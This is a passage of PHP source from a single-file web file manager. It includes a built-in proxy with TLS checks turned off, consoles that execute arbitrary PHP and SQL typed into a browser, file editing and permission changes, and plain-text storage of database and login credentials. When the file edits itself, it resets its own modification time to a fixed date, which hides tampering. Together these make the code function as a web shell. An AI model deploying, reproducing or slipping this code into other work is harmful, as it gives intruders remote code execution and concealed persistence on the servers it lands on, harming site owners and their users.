<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {

		        $ch = curl_init($url);

		        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		        curl_setopt($ch, CURLOPT_HEADER, 0);

		        curl_setopt($ch, CURLOPT_REFERER, $url);

		        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		        $result = curl_exec($ch);

		        curl_close($ch);

		        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		        $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		        echo $result;

		        die();

	} 

}

?>
<!doctype html>

<html>

<head>                         

	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />

                        <title><?=__('File manager')?></title>

<style>

body {

	background-color:	white;

	font-family:		        Verdana, Arial, Helvetica, sans-serif;

	font-size:                                 8pt;

	margin:                                 	0px;

}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {

	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:                                 	25px;

	background-color:	#006699;

	color:                                 	#FFA34F;

	font-weight:		        bold;

	font-size:                                 11px;

}


.row1 {

	background-color:	#EFEFEF;

}


.row2 {

	background-color:	#DEE3E7;

}


.row3 {

	background-color:	#D1D7DC;

	padding: 5px;

}


tr.row1:hover {

	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}


.all tbody td:first-child{width:100%;}


textarea {

	font: 9pt 'Courier New', courier;

	line-height: 125%;

	padding: 5px;

}


.textarea_input {

	height: 1em;

}


.textarea_input:focus {

	height: auto;

}


input[type=submit]{

	background: #FCFCFC none !important;

	cursor: pointer;

}


.folder {

                        background-image: url("data:image/png;base64,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");

}


.file {

                        background-image: url("data:image/png;base64,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");

}

<?=fm_home_style()?>

.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

                        #fm_table td{display:inline;float:left;}

                        #fm_table tbody td:first-child{width:100%;padding:0;}

                        #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

                        #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}

                        #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}

}

</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){

	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

} elseif (isset($res_lng)) {	

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>

</tr>

<tr>

                        <td class="row1">

		        <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		        <form action="" method="POST" name="console">

		        <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		        <input type="reset" value="<?=__('Reset')?>">

		        <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){

		        $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";

	}

	$select .= "</select>\n";

	echo $select;

}

?>
		        </form>

	</td>

</tr>

</table>

<?php
	if (!empty($res)) {

		        $fun='fm_'.$res_lng;

		        echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		        $fn = $path . $_REQUEST['edit'];

		        $filemtime = filemtime($fn);

	                        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');

		        else $msg_now .= __('Error occurred');

		        if ($_GET['edit']==basename(__FILE__)) {

                                 touch(__FILE__,1415116371);

		        } else {

                                 if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);

		        }

	}

                        $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

                        $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

                        <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$editlink?>">

                                                                        <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                        <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
echo $auth_mydevice['script'];

} elseif(!empty($_REQUEST['rights'])){

	if(!empty($_REQUEST['save'])) {

	                        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		        $msg_now .= (__('File updated')); 

		        else $msg_now .= (__('Error occurred'));

	}

	clearstatcache();

                        $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

                        $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

